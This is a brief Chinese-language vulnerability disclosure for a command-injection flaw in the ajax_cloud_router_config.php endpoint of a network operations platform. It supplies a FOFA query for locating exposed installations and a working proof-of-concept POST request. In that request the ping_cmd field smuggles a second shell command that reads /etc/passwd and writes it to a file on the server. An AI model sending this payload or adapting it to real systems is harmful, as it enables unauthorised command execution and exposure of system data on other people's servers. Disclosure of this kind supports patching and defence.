全息AI网络运维平台ajax_cloud_router_config.php存在命令执行漏洞

全息AI网络运维平台 接口 /nmss/cloud/Ajax/ajax_cloud_router_config.php 存在命令执行漏洞，导致服务器沦陷。

fofa

"全息AI网络运维平台"

poc

POST /nmss/cloud/Ajax/ajax_cloud_router_config.php HTTP/1.1
host：127.0.0.1

ping_cmd=8.8.8.8|cat /etc/passwd>1.txt